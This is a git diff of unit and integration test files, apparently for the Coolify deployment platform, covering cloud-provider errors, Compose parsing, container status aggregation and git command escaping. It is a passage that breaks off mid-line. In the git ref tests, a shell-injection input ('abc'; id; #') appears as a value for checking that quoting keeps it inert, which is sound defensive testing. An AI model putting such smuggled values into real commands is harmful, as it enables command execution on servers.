@@ it('retains the server and surfaces a DigitalOcean deletion failure', function (digitalOceanDropletId: 987,cloudProviderTokenId: $token->id,teamId: $team->id,- ))->toThrow(RequestException::class, 'status code 500');+ ))->toThrow(Exception::class, 'DigitalOcean API error: deletion failed');expect(Server::withTrashed()->find($server->id))->not->toBeNull();});diff --git a/tests/Unit/DockerComposeLabelParsingTest.php b/tests/Unit/DockerComposeLabelParsingTest.phpindex 7f3c18c1eb..9265995534 100644--- a/tests/Unit/DockerComposeLabelParsingTest.php+++ b/tests/Unit/DockerComposeLabelParsingTest.php@@ -32,9 +32,16 @@ it('ensures label parsing converts array values to strings', function () {it('falls back to the template port for service application proxy labels', function () {$sharedFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/shared.php');+ // Proxy labels for service applications use the per-service routing port...expect($sharedFile)->toContain(- '? ($savedService->getRequiredPort() ?? $predefinedPort)'+ "? \$savedService->getRequiredPort()\n : \$predefinedPort;");++ // ...which falls back to the one-click template port for HTTP-facing services+ $serviceApplicationFile = file_get_contents(__DIR__.'/../../app/Models/ServiceApplication.php');+ expect($serviceApplicationFile)+ ->toContain('if ($declaresHttpUrl) {')+ ->toContain('return $this->service->getRequiredPort();');});it('verifies label parsing array check occurs before preg_match', function () {diff --git a/tests/Unit/DockerComposeRawSeparationTest.php b/tests/Unit/DockerComposeRawSeparationTest.phpindex bb6c8ca793..544d016c22 100644--- a/tests/Unit/DockerComposeRawSeparationTest.php+++ b/tests/Unit/DockerComposeRawSeparationTest.php@@ -1,17 +1,48 @@<?phpuse App\Models\Application;-use Illuminate\Support\Facades\DB;+use App\Models\Environment;+use App\Models\InstanceSettings;+use App\Models\PrivateKey;+use App\Models\Project;+use App\Models\Server;+use App\Models\StandaloneDocker;+use App\Models\Team;+use Illuminate\Foundation\Testing\RefreshDatabase;+use Illuminate\Support\Facades\Bus;+use phpseclib3\Crypt\EC;use Symfony\Component\Yaml\Yaml;+use Tests\TestCase;++uses(TestCase::class, RefreshDatabase::class);/*** Integration test to verify docker_compose_raw remains clean after parsing*/it('verifies docker_compose_raw does not contain Coolify labels after parsing', function () {- // This test requires database, so skip if not available- if (! DB::connection()->getDatabaseName()) {- $this->markTestSkipped('Database not available');- }+ // Keeps the ServerStorageSaveJob of the file volume from writing to the (fake) server.+ Bus::fake();++ InstanceSettings::unguarded(function () {+ InstanceSettings::updateOrCreate(['id' => 0], []);+ });++ $team = Team::factory()->create();+ $project = Project::factory()->create(['team_id' => $team->id]);+ $environment = Environment::factory()->create(['project_id' => $project->id]);+ $privateKey = PrivateKey::create([+ 'name' => 'test-key',+ 'private_key' => EC::createKey('Ed25519')->toString('OpenSSH'),+ 'team_id' => $team->id,+ ]);+ $server = Server::factory()->create([+ 'team_id' => $team->id,+ 'private_key_id' => $privateKey->id,+ ]);+ $destination = StandaloneDocker::factory()->create([+ 'server_id' => $server->id,+ 'network' => 'test-network-'.fake()->uuid(),+ ]);// Create a simple compose file with volumes containing content$originalCompose = <<<'YAML'@@ -20,8 +51,8 @@ services:image: nginx:latestvolumes:- type: bind- source: ./config- target: /etc/nginx/conf.d+ source: ./config/default.conf+ target: /etc/nginx/conf.d/default.confcontent: |server {listen 80;@@ -30,24 +61,19 @@ services:- "my.custom.label=value"YAML;- // Create application with mocked data- $app = new Application;- $app->docker_compose_raw = $originalCompose;- $app->uuid = 'test-uuid-123';- $app->name = 'test-app';- $app->compose_parsing_version = 3;-- // Mock the destination and server relationships- $app->setRelation('destination', (object) [- 'server' => (object) [- 'proxyType' => fn () => 'traefik',- 'settings' => (object) [- 'generate_exact_labels' => true,- ],- ],- 'network' => 'coolify',+ $app = Application::factory()->create([+ 'environment_id' => $environment->id,+ 'destination_id' => $destination->id,+ 'destination_type' => StandaloneDocker::class,+ 'build_pack' => 'dockercompose',+ 'docker_compose_raw' => $originalCompose,+ 'fqdn' => null,+ 'docker_compose_domains' => null,]);+ applicationParser($app);+ $app->refresh();+// Parse the YAML after running through the parser logic$yamlAfterParsing = Yaml::parse($app->docker_compose_raw);@@ -82,9 +108,13 @@ YAML;// Check that content field is removed$volumes = data_get($yamlAfterParsing, 'services.web.volumes', []);+ expect($volumes)->not->toBeEmpty();foreach ($volumes as $volume) {if (is_array($volume)) {expect($volume)->not->toHaveKey('content', 'content field should be removed from volumes');}}++ // The processed compose file keeps the Coolify additions+ expect($app->docker_compose)->toContain('coolify.managed');});diff --git a/tests/Unit/ExcludeFromHealthCheckTest.php b/tests/Unit/ExcludeFromHealthCheckTest.phpindex 6776d09b77..b311264245 100644--- a/tests/Unit/ExcludeFromHealthCheckTest.php+++ b/tests/Unit/ExcludeFromHealthCheckTest.php@@ -82,26 +82,6 @@ it('ensures exclude_from_hc flag is properly checked in GetContainersStatus', fu->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');});-it('ensures UI displays excluded status correctly in status component', function () {- $servicesStatusFile = file_get_contents(__DIR__.'/../../resources/views/components/status/services.blade.php');-- // Verify that the status component uses formatContainerStatus helper to display status- expect($servicesStatusFile)- ->toContain('formatContainerStatus($complexStatus)');-});--it('ensures UI handles excluded status in service heading buttons', function () {- $headingFile = file_get_contents(__DIR__.'/../../resources/views/livewire/project/service/heading.blade.php');-- // Verify that the heading properly handles running/degraded/exited status with :excluded suffix- // The logic should use contains() to match the base status (running, degraded, exited)- // which will work for both regular statuses and :excluded suffixed ones- expect($headingFile)- ->toContain('str($service->status)->contains(\'running\')')- ->toContain('str($service->status)->contains(\'degraded\')')- ->toContain('str($service->status)->contains(\'exited\')');-});-/*** Unit tests for YAML validation in CalculatesExcludedStatus trait*/diff --git a/tests/Unit/GetContainersStatusServiceAggregationTest.php b/tests/Unit/GetContainersStatusServiceAggregationTest.phpindex 4666d5fb70..e36e32b02d 100644--- a/tests/Unit/GetContainersStatusServiceAggregationTest.php+++ b/tests/Unit/GetContainersStatusServiceAggregationTest.php@@ -1,5 +1,7 @@<?php+use App\Services\ContainerStatusAggregator;+/*** Unit tests for GetContainersStatus service aggregation logic (SSH path).*@@ -22,27 +24,25 @@ it('implements service multi-container aggregation in SSH path', function () {->toContain('private function aggregateServiceContainerStatuses($services)')->toContain('$this->aggregateServiceContainerStatuses($services);');- // Verify service aggregation uses same logic as applications+ // Verify service aggregation uses the shared aggregator, like applicationsexpect($actionFile)- ->toContain('$hasUnknown = false;');+ ->toContain('use App\\Services\\ContainerStatusAggregator;')+ ->toContain('$aggregator = new ContainerStatusAggregator;');});it('services use same priority as applications in SSH path', function () {$actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');- // Both aggregation methods should use the same priority logic- $priorityLogic = <<<'PHP'- if ($hasUnhealthy) {- $aggregatedStatus = 'running (unhealthy)';- } elseif ($hasUnknown) {- $aggregatedStatus = 'running (unknown)';- } else {- $aggregatedStatus = 'running (healthy)';- }-PHP;-- // Should appear in service aggregation- expect($actionFile)->toContain($priorityLogic);+ // Both aggregation methods delegate the priority logic to ContainerStatusAggregator+ expect($actionFile)+ ->toContain('return $aggregator->aggregateFromStrings($relevantStatuses, $maxRestartCount, preserveRestarting: true);')+ ->toContain('$aggregatedStatus = $aggregator->aggregateFromStrings($relevantStatuses, preserveRestarting: true);');++ // The shared aggregator prioritizes unhealthy > unknown > healthy+ $aggregator = new ContainerStatusAggregator;+ expect($aggregator->aggregateFromStrings(collect(['running (healthy)', 'running (unknown)', 'running (unhealthy)'])))->toBe('running:unhealthy')+ ->and($aggregator->aggregateFromStrings(collect(['running (healthy)', 'running (unknown)'])))->toBe('running:unknown')+ ->and($aggregator->aggregateFromStrings(collect(['running (healthy)', 'running (healthy)'])))->toBe('running:healthy');});it('collects service containers before aggregating in SSH path', function () {@@ -63,17 +63,14 @@ it('SSH and Sentinel paths use identical service aggregation logic', function ()$jobFile = file_get_contents(__DIR__.'/../../app/Jobs/PushServerUpdateJob.php');$actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');- // Both should track the same status flags- expect($jobFile)->toContain('$hasUnknown = false;');- expect($actionFile)->toContain('$hasUnknown = false;');-- // Both should check for unknown status- expect($jobFile)->toContain('if (str($status)->contains(\'unknown\')) {');- expect($actionFile)->toContain('if (str($status)->contains(\'unknown\')) {');-- // Both should have elseif for unknown priority- expect($jobFile)->toContain('} elseif ($hasUnknown) {');- expect($actionFile)->toContain('} elseif ($hasUnknown) {');+ // Both paths delegate status aggregation to the same shared service+ foreach ([$jobFile, $actionFile] as $file) {+ expect($file)+ ->toContain('use App\\Services\\ContainerStatusAggregator;')+ ->toContain('$aggregator = new ContainerStatusAggregator;')+ ->toContain('$aggregator->aggregateFromStrings($relevantStatuses,')+ ->toContain('preserveRestarting: true);');+ }});it('handles service status updates consistently', function () {@@ -84,7 +81,7 @@ it('handles service status updates consistently', function () {expect($jobFile)->toContain('[$serviceId, $subType, $subId] = explode(\':\', $key);');expect($actionFile)->toContain('[$serviceId, $subType, $subId] = explode(\':\', $key);');- // Both should handle excluded containers- expect($jobFile)->toContain('$excludedContainers = collect();');- expect($actionFile)->toContain('$excludedContainers = collect();');+ // Both should handle excluded containers through the shared trait helper+ expect($jobFile)->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');+ expect($actionFile)->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');});diff --git a/tests/Unit/GitRefValidationTest.php b/tests/Unit/GitRefValidationTest.phpindex f5245d8193..f94dbca75b 100644--- a/tests/Unit/GitRefValidationTest.php+++ b/tests/Unit/GitRefValidationTest.php@@ -3,6 +3,19 @@use App\Models\Application;use App\Models\ApplicationSetting;+/**+ * Split a command into words the way /bin/sh does. The words are only printed,+ * so a correctly quoted command cannot run any part of its payload.+ *+ * @return array<int, string>+ */+function gitRefShellWords(string $command): array+{+ $output = shell_exec('for word in '.$command.'; do printf "%s\\0" "$word"; done');++ return explode("\0", rtrim((string) $output, "\0"));+}+/*** Tests for git ref validation.*@@ -98,9 +111,12 @@ describe('executeInDocker git log escaping', function () {$command = 'cd /workdir && git log -1 '.escapeshellarg($maliciousCommit).' --pretty=%B';$result = executeInDocker('test-container', $command);- // The malicious payload must not be able to break out of quoting- expect($result)->not->toContain('id;');- expect($result)->toContain("'HEAD'\\''");+ // The whole git command stays one bash -c argument.+ expect(gitRefShellWords($result))->toBe(['docker', 'exec', 'test-container', 'bash', '-c', $command]);++ // Inside bash -c, the malicious payload stays one git log argument.+ expect(gitRefShellWords(str($command)->after('&& ')->toString()))+ ->toBe(['git', 'log', '-1', $maliciousCommit, '--pretty=%B']);});});@@ -119,7 +135,6 @@ describe('buildGitCheckoutCommand escaping', function () {expect($result)->toContain("git checkout 'abc123'");$result = $method->invoke($app, "abc'; id; #");- expect($result)->not->toContain('id;');- expect($result)->toContain("git checkout 'abc'");+ expect(gitRefShellWords($result))->toBe(['git', 'checkout', "abc'; id; #"]);});});diff --git a/tests/Unit/GitSubmoduleCredentialTest.php b/tests/Unit/GitSubmoduleCredentialTest.phpindex d22e1ad4c1..11c28c9909 100644--- a/tests/Unit/GitSubmoduleCredentialTest.php+++ b/tests/Unit/GitSubmoduleCredentialTest.php@@ -158,7 +158,12 @@ describe('Git submodule credential propagation', function () {$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa_coolify_test-uuid -o IdentitiesOnly=yes';- expect($result['commands'])+ // Commands are a list of ['command' => ..., 'hidden' => ...] entries; assert on the joined shell script+ $commands = collect($result['commands'])+ ->map(fn ($command) => is_array($command) ? $command['command'] : $command)+ ->implode(' && ');++ expect($commands)->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git fetch origin merge-requests/123/head:pr-123-coolify')->toContain("git checkout 'pr-123-coolify'")->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git submodule update --init --recursive')diff --git a/tests/Unit/GlobalSearchNewImageQuickActionTest.php b/tests/Unit/GlobalSearchNewImageQuickActionTest.phpindex 1790086543..77c205b903 100644--- a/tests/Unit/GlobalSearchNewImageQuickActionTest.php+++ b/tests/Unit/GlobalSearchNewImageQuickActionTest.php@@ -1,167 +1,12 @@<?php-/**- * Unit tests to verify that the "new image" quick action properly matches- * the docker-image type using the quickcommand field.- *- * This test verifies the fix for the issue where typing "new image" would- * not match because the frontend was only checking name and type fields,- * not the quickcommand field.- */-it('ensures GlobalSearch blade template checks quickcommand field in matching logic', function () {- $bladeFile = file_get_contents(__DIR__.'/../../resources/views/livewire/global-search.blade.php');-- // Check that the matching logic includes quickcommand check- expect($bladeFile)- ->toContain('item.quickcommand')- ->toContain('quickcommand.toLowerCase().includes(trimmed)');-});--it('ensures GlobalSearch clears search query when starting resource creation', function () {- $globalSearchFile = file_get_contents(__DIR__.'/../../app/Livewire/GlobalSearch.php');-- // Check that navigateToResourceCreation clears the search query- expect($globalSearchFile)- ->toContain('$this->searchQuery = \'\'');-});--it('ensures GlobalSearch uses redirect route helper', function () {- $globalSearchFile = file_get_contents(__DIR__.'/../../app/Livewire/GlobalSearch.php');-- // Check that completeResourceCreation uses the shared redirect route helper- expect($globalSearchFile)- ->toContain('redirectRoute($this, \'project.resource.create\'');-});--it('routes new server quick action to the new server page', function () {- $globalSearchFile = file_get_contents(__DIR__.'/../../app/Livewire/GlobalSearch.php');- $bladeFile = file_get_contents(__DIR__.'/../../resources/views/livewire/global-search.blade.php');-- expect($globalSearchFile)- ->toContain("if (\$type === 'server')")- ->toContain("redirectRoute(\$this, 'server.create')");-- expect($bladeFile)- ->toContain("window.location.href = '/servers/new'")- ->not->toContain('@open-create-modal-server.window');-});--it('ensures docker-image item has quickcommand with new image', function () {- $globalSearchFile = file_get_contents(__DIR__.'/../../app/Livewire/GlobalSearch.php');-- // Check that Docker Image has the correct quickcommand- expect($globalSearchFile)- ->toContain("'name' => 'Docker Image'")- ->toContain("'quickcommand' => '(type: new image)'")- ->toContain("'type' => 'docker-image'");-});--it('uses neutral hover styling for GlobalSearch quick action rows', function () {- $bladeFile = file_get_contents(__DIR__.'/../../resources/views/livewire/global-search.blade.php');-- preg_match_all('/<button[^>]+(?:wire:click="navigateToResource|@click="\\$wire\\.navigateToResource)[^>]+>/s', $bladeFile, $quickActionButtons);-- expect($quickActionButtons[0])->not->toBeEmpty();-- foreach ($quickActionButtons[0] as $quickActionButton) {- expect($quickActionButton)- ->toContain('hover:bg-neutral-100 dark:hover:bg-coolgray-200')- ->toContain('focus:bg-neutral-100 dark:focus:bg-coolgray-200')- ->toContain('focus-visible:ring-coollabs dark:focus-visible:ring-warning')- ->not->toContain('hover:bg-warning-50')- ->not->toContain('hover:border-warning-500');- }-});--it('uses product logos for GlobalSearch database quick actions', function () {+it('renders GlobalSearch database icons as image assets instead of raw logo HTML', function () {$globalSearchFile = file_get_contents(__DIR__.'/../../app/Livewire/GlobalSearch.php');$bladeFile = file_get_contents(__DIR__.'/../../resources/views/livewire/global-search.blade.php');expect($bladeFile)- ->toContain('asset($item[\'logo\'])')- ->toContain(":src=\"'/' + item.logo\"");-- foreach ([- 'postgresql' => 'svgs/postgresql.svg',- 'mysql' => 'svgs/mysql.svg',- 'mariadb' => 'svgs/mariadb.svg',- 'redis' => 'svgs/redis.svg',- 'keydb' => 'svgs/keydb.svg',- 'dragonfly' => 'svgs/dragonfly.svg',- 'mongodb' => 'svgs/mongodb.svg',- 'clickhouse' => 'svgs/clickhouse-icon.svg',- ] as $type => $logo) {- expect($globalSearchFile)- ->toContain("'type' => '{$type}'")- ->toContain("'logo' => '{$logo}'");-- expect(file_exists(__DIR__.'/../../public/'.$logo))->toBeTrue();- }-});--it('uses neutral hover styling for GlobalSearch existing resource rows', function () {- $bladeFile = file_get_contents(__DIR__.'/../../resources/views/livewire/global-search.blade.php');-- preg_match_all('/<a[^>]+(?:href="{{ \\$result\\[\'link\'\\]|:href="result\\.link)[^>]+>/s', $bladeFile, $existingResourceLinks);-- expect($existingResourceLinks[0])->not->toBeEmpty();-- foreach ($existingResourceLinks[0] as $existingResourceLink) {- expect($existingResourceLink)- ->toContain('hover:bg-neutral-100 dark:hover:bg-coolgray-200')- ->toContain('focus:bg-neutral-100 dark:focus:bg-coolgray-200')- ->toContain('focus-visible:ring-coollabs dark:focus-visible:ring-warning')- ->not->toContain('hover:bg-neutral-50')- ->not->toContain('focus:bg-warning')- ->not->toContain('hover:border-coollabs')- ->not->toContain('focus:border-warning');- }-});--it('uses visible cropped SVG marks for wide database logos', function () {- $keydbLogo = file_get_contents(__DIR__.'/../../public/svgs/keydb.svg');- $dragonflyLogo = file_get_contents(__DIR__.'/../../public/svgs/dragonfly.svg');- $clickhouseLogo = file_get_contents(__DIR__.'/../../public/svgs/clickhouse-icon.svg');-- expect($keydbLogo)- ->toContain('viewBox="0 0 160 182"')- ->toContain('svg{color:#d4d4d4}')- ->not->toContain('prefers-color-scheme');-- expect($dragonflyLogo)- ->toContain('viewBox="0 0 88 88"')- ->toContain('svg{color:#d4d4d4}')- ->not->toContain('prefers-color-scheme');-- expect($clickhouseLogo)- ->toContain('viewBox="1.70837 1.875 22.25025 22.2493"')- ->toContain('svg{color:#d4d4d4}')- ->toContain('x="20.7087"')- ->toContain('width="2.24992"')- ->not->toContain('viewBox="0 0 100 43"')- ->not->toContain('width="215"')- ->not->toContain('height="90"');-});--it('uses cropped image assets instead of inline wide logos for GlobalSearch database icons', function () {- $globalSearchFile = file_get_contents(__DIR__.'/../../app/Livewire/GlobalSearch.php');- $bladeFile = file_get_contents(__DIR__.'/../../resources/views/livewire/global-search.blade.php');-- expect($bladeFile)- ->toContain('class="w-8 h-8 object-contain"')- ->toContain('class="w-8 h-8 object-contain"')->not->toContain('$item[\'logo_html\']')->not->toContain('x-html="item.logo_html"');expect($globalSearchFile)->not->toContain("'logo_html' =>");});--it('uses rounded yellow plus icons for GlobalSearch creatable actions without logos', function () {- $bladeFile = file_get_contents(__DIR__.'/../../resources/views/livewire/global-search.blade.php');-- expect($bladeFile)- ->toContain('rounded-full bg-warning/20 flex items-center justify-center')- ->toContain('class="h-6 w-6 text-warning"')- ->not->toContain('rounded-lg bg-warning-100 dark:bg-warning-900/40')- ->not->toContain('text-warning-600 dark:text-warning-400');-});diff --git a/tests/Unit/HetznerServiceTest.php b/tests/Unit/HetznerServiceTest.phpindex 7e76efdec3..b5f5b73229 100644--- a/tests/Unit/HetznerServiceTest.php+++ b/tests/Unit/HetznerServiceTest.php@@ -2,6 +2,9 @@use App\Services\HetznerService;use Illuminate\Support\Facades\Http;+use Tests\TestCase;++uses(TestCase::class);beforeEach(function () {Http::preventStrayRequests();diff --git a/tests/Unit/InstallScriptRockyDockerRepoTest.php b/tests/Unit/InstallScriptRockyDockerRepoTest.phpindex da1aa6c5e2..0e0a92806d 100644--- a/tests/Unit/InstallScriptRockyDockerRepoTest.php+++ b/tests/Unit/InstallScriptRockyDockerRepoTest.php@@ -2,7 +2,7 @@function expectRockyInstallScriptToUseRhelRepo(string $path): void{- $installScript = file_get_contents(base_path($path));+ $installScript = file_get_contents(dirname(__DIR__, 2).'/'.$path);expect($installScript)->toContain('install_docker_from_rhel_repo() {')diff --git a/tests/Unit/Livewire/ApplicationGeneralPreviewTest.php b/tests/Unit/Livewire/ApplicationGeneralPreviewTest.phpindex cea05a9987..f9c0a13ef0 100644--- a/tests/Unit/Livewire/ApplicationGeneralPreviewTest.php+++ b/tests/Unit/Livewire/ApplicationGeneralPreviewTest.php@@ -2,10 +2,30 @@use App\Jobs\ApplicationDeploymentJob;use App\Livewire\Project\Application\General;+use App\Models\Application;+use App\Models\ApplicationSetting;++/**+ * The build command preview injects build-time args unless build secrets are used,+ * so the component needs an application. Build secrets keep the preview free of DB queries.+ */+function mockGeneralPreviewComponent(): General+{+ $settings = new ApplicationSetting;+ $settings->use_build_secrets = true;++ $application = new Application;+ $application->setRelation('settings', $settings);++ $component = Mockery::mock(General::class)->makePartial();+ $component->application = $application;++ return $component;+}it('prevents double slashes in build command preview when baseDirectory is root', function () {// Mock the component with properties- $component = Mockery::mock(General::class)->makePartial();+ $component = mockGeneralPreviewComponent();$component->baseDirectory = '/';$component->dockerComposeLocation = '/docker-compose.yaml';$component->dockerComposeCustomBuildCommand = 'docker compose build';@@ -20,7 +40,7 @@ it('prevents double slashes in build command preview when baseDirectory is root'});it('correctly formats build command preview with nested baseDirectory', function () {- $component = Mockery::mock(General::class)->makePartial();+ $component = mockGeneralPreviewComponent();$component->baseDirectory = '/backend';$component->dockerComposeLocation = '/docker-compose.yaml';$component->dockerComposeCustomBuildCommand = 'docker compose build';@@ -34,7 +54,7 @@ it('correctly formats build command preview with nested baseDirectory', function});it('correctly formats build command preview with deeply nested baseDirectory', function () {- $component = Mockery::mock(General::class)->makePartial();+ $component = mockGeneralPreviewComponent();$component->baseDirectory = '/apps/api/backend';$component->dockerComposeLocation = '/docker-compose.prod.yaml';$component->dockerComposeCustomBuildCommand = 'docker compose build';@@ -47,7 +67,7 @@ it('correctly formats build command preview with deeply nested baseDirectory', f});it('uses BUILD_TIME_ENV_PATH constant instead of hardcoded path in build command preview', function () {- $component = Mockery::mock(General::class)->makePartial();+ $component = mockGeneralPreviewComponent();$component->baseDirectory = '/';$component->dockerComposeLocation = '/docker-compose.yaml';$component->dockerComposeCustomBuildCommand = 'docker compose build';@@ -61,7 +81,7 @@ it('uses BUILD_TIME_ENV_PATH constant instead of hardcoded path in build command});it('returns empty string for build command preview when no custom build command is set', function () {- $component = Mockery::mock(General::class)->makePartial();+ $component = mockGeneralPreviewComponent();$component->baseDirectory = '/backend';$component->dockerComposeLocation = '/docker-compose.yaml';$component->dockerComposeCustomBuildCommand = null;@@ -72,7 +92,7 @@ it('returns empty string for build command preview when no custom build command});it('prevents double slashes in start command preview when baseDirectory is root', function () {- $component = Mockery::mock(General::class)->makePartial();+ $component = mockGeneralPreviewComponent();$component->baseDirectory = '/';$component->dockerComposeLocation = '/docker-compose.yaml';$component->dockerComposeCustomStartCommand = 'docker compose up -d';@@ -87,7 +107,7 @@ it('prevents double slashes in start command preview when baseDirectory is root'});it('correctly formats start command preview with nested baseDirectory', function () {- $component = Mockery::mock(General::class)->makePartial();+ $component = mockGeneralPreviewComponent();$component->baseDirectory = '/frontend';$component->dockerComposeLocation = '/compose.yaml';$component->dockerComposeCustomStartCommand = 'docker compose up -d';@@ -100,7 +120,7 @@ it('correctly formats start command preview with nested baseDirectory', function});it('uses workdir env placeholder in start command preview', function () {- $component = Mockery::mock(General::class)->makePartial();+ $component = mockGeneralPreviewComponent();$component->baseDirectory = '/';$component->dockerComposeLocation = '/docker-compose.yaml';$component->dockerComposeCustomStartCommand = 'docker compose up -d';@@ -115,7 +135,7 @@ it('uses workdir env placeholder in start command preview', function () {});it('returns empty string for start command preview when no custom start command is set', function () {- $component = Mockery::mock(General::class)->makePartial();+ $component = mockGeneralPreviewComponent();$component->baseDirectory = '/backend';$component->dockerComposeLocation = '/docker-compose.yaml';$component->dockerComposeCustomStartCommand = null;@@ -126,7 +146,7 @@ it('returns empty string for start command preview when no custom start command});it('handles baseDirectory with trailing slash correctly in build command', function () {- $component = Mockery::mock(General::class)->makePartial();+ $component = mockGeneralPreviewComponent();$component->baseDirectory = '/backend/';$component->dockerComposeLocation = '/docker-compose.yaml';$component->dockerComposeCustomBuildCommand = 'docker compose build';@@ -141,7 +161,7 @@ it('handles baseDirectory with trailing slash correctly in build command', funct});it('handles baseDirectory with trailing slash correctly in start command', function () {- $component = Mockery::mock(General::class)->makePartial();+ $component = mockGeneralPreviewComponent();$component->baseDirectory = '/backend/';$component->dockerComposeLocation = '/docker-compose.yaml';$component->dockerComposeCustomStartCommand = 'docker compose up -d';diff --git a/tests/Unit/Livewire/EnvironmentVariableAutocompleteTest.php b/tests/Unit/Livewire/EnvironmentVariableAutocompleteTest.phpindex 19da8b43bd..4567b91f37 100644--- a/tests/Unit/Livewire/EnvironmentVariableAutocompleteTest.php+++ b/tests/Unit/Livewire/EnvironmentVariableAutocompleteTest.php@@ -36,6 +36,7 @@ it('returns empty arrays when currentTeam returns null', function () {'team' => [],'project' => [],'environment' => [],+ 'server' => [],]);});@@ -48,6 +49,8 @@ it('availableSharedVariables method wraps authorization checks in try-catch blocexpect($source)->toContain('$this->authorize(\'view\', $team)')->and($source)->toContain('$this->authorize(\'view\', $project)')->and($source)->toContain('$this->authorize(\'view\', $environment)')+ ->and($source)->toContain('$this->authorize(\'view\', $server)')// Verify authorization checks are wrapped in try-catch blocks- ->and($source)->toContain('} catch (\Illuminate\Auth\Access\AuthorizationException $e) {');+ ->and($source)->toContain('use Illuminate\Auth\Access\AuthorizationException;')+ ->and($source)->toContain('} catch (AuthorizationException $e) {');});diff --git a/tests/Unit/LogViewerXssSecurityTest.php b/tests/Unit/LogViewerXssSecurityTest.phpindex 0c682c13c5..e3230c1fdd 100644--- a/tests/Unit/LogViewerXssSecurityTest.php+++ b/tests/Unit/LogViewerXssSecurityTest.php@@ -27,19 +27,6 @@ describe('Log Viewer HTML Tag Preservation', function () {expect(renderedDataLineTextValue($logContent))->toBe($logContent);});-- it('does not strip tags with DOMParser based html decoding', function () {- $views = [- __DIR__.'/../../resources/views/livewire/project/application/deployment/show.blade.php',- __DIR__.'/../../resources/views/livewire/project/shared/get-logs.blade.php',- ];-- foreach ($views as $view) {- expect(file_get_contents($view))- ->not->toContain('decodeHtml(text)')- ->not->toContain('DOMParser().parseFromString');- }- });});describe('Log Viewer XSS Prevention', function () {diff --git a/tests/Unit/Notifications/Channels/EmailChannelTest.php b/tests/Unit/Notifications/Channels/EmailChannelTest.phpindex 6600495d33..ea2e900cd9 100644--- a/tests/Unit/Notifications/Channels/EmailChannelTest.php+++ b/tests/Unit/Notifications/Channels/EmailChannelTest.php@@ -1,78 +1,86 @@<?phpuse App\Exceptions\NonReportableException;-use App\Models\EmailNotificationSettings;use App\Models\Team;use App\Models\User;use App\Notifications\Channels\EmailChannel;-use App\Notifications\Channels\SendsEmail;+use Illuminate\Foundation\Testing\RefreshDatabase;use Illuminate\Notifications\Messages\MailMessage;use Illuminate\Notifications\Notification;-use Resend\Exceptions\ErrorException;-use Resend\Exceptions\TransporterException;+use Symfony\Component\Process\Process;+use Tests\TestCase;++uses(TestCase::class, RefreshDatabase::class);beforeEach(function () {- // Mock the Team with members- $this->team = Mockery::mock(Team::class);- $this->team->id = 1;-- $user1 = new User(['email' => '[email protected]']);- $user2 = new User(['email' => '[email protected]']);- $members = collect([$user1, $user2]);- $this->team->shouldReceive('getAttribute')->with('members')->andReturn($members);- Team::shouldReceive('find')->with(1)->andReturn($this->team);-- // Mock the notifiable (Team)- $this->notifiable = Mockery::mock(SendsEmail::class);- $this->notifiable->shouldReceive('getAttribute')->with('id')->andReturn(1);-- // Mock email settings with Resend enabled- $this->settings = Mockery::mock(EmailNotificationSettings::class);- $this->settings->resend_enabled = true;- $this->settings->smtp_enabled = false;- $this->settings->use_instance_email_settings = false;- $this->settings->smtp_from_name = 'Test Sender';- $this->settings->smtp_from_address = '[email protected]';- $this->settings->resend_api_key = 'test_api_key';- $this->settings->smtp_password = 'password';-- $this->notifiable->shouldReceive('getAttribute')->with('emailNotificationSettings')->andReturn($this->settings);- $this->notifiable->emailNotificationSettings = $this->settings;- $this->notifiable->shouldReceive('getRecipients')->andReturn(['[email protected]']);-- // Mock the notification- $this->notification = Mockery::mock(Notification::class);- $this->notification->shouldReceive('getAttribute')->with('isTransactionalEmail')->andReturn(false);- $this->notification->shouldReceive('getAttribute')->with('emails')->andReturn(null);-- $mailMessage = Mockery::mock(MailMessage::class);- $mailMessage->subject = 'Test Email';- $mailMessage->shouldReceive('render')->andReturn('<html>Test</html>');-- $this->notification->shouldReceive('toMail')->andReturn($mailMessage);-- // Mock global functions- $this->app->instance('send_internal_notification', function () {});+ $this->resendStub = null;+ $this->team = Team::factory()->create();+ $user = User::factory()->create(['email' => '[email protected]']);+ $this->team->members()->attach($user->id, ['role' => 'owner']);++ $this->team->emailNotificationSettings->update([+ 'resend_enabled' => true,+ 'smtp_enabled' => false,+ 'use_instance_email_settings' => false,+ 'smtp_from_name' => 'Test Sender',+ 'smtp_from_address' => '[email protected]',+ 'resend_api_key' => 'test_api_key',+ ]);+ $this->team->refresh();++ $this->notification = new class extends Notification+ {+ public function toMail(object $notifiable): MailMessage+ {+ return (new MailMessage)->subject('Test Email')->line('Test');+ }+ };});-it('throws user-friendly error for invalid Resend API key (403)', function () {- // Create mock ErrorException for invalid API key- $resendError = Mockery::mock(ErrorException::class);- $resendError->shouldReceive('getErrorCode')->andReturn(403);- $resendError->shouldReceive('getErrorMessage')->andReturn('API key is invalid.');- $resendError->shouldReceive('getCode')->andReturn(403);-- // Mock Resend client to throw the error- $resendClient = Mockery::mock();- $emailsService = Mockery::mock();- $emailsService->shouldReceive('send')->andThrow($resendError);- $resendClient->emails = $emailsService;+afterEach(function () {+ $this->resendStub?->stop();+ putenv('RESEND_BASE_URL');+});- Resend::shouldReceive('client')->andReturn($resendClient);+/**+ * Point the real Resend client at a local HTTP stub that answers every request+ * with the given Resend error, so the whole Resend SDK error path is exercised.+ */+function fakeResendError(int $code, string $message): Process+{+ $socket = stream_socket_server('tcp://127.0.0.1:0');+ $port = (int) parse_url('tcp://'.stream_socket_get_name($socket, false), PHP_URL_PORT);+ fclose($socket);++ $router = sys_get_temp_dir()."/coolify-resend-stub-{$port}.php";+ file_put_contents($router, <<<'PHP'+ <?php+ $code = (int) getenv('RESEND_STUB_CODE');+ http_response_code($code);+ header('Content-Type: application/json');+ echo json_encode(['error' => ['message' => getenv('RESEND_STUB_MESSAGE'), 'type' => 'error', 'code' => 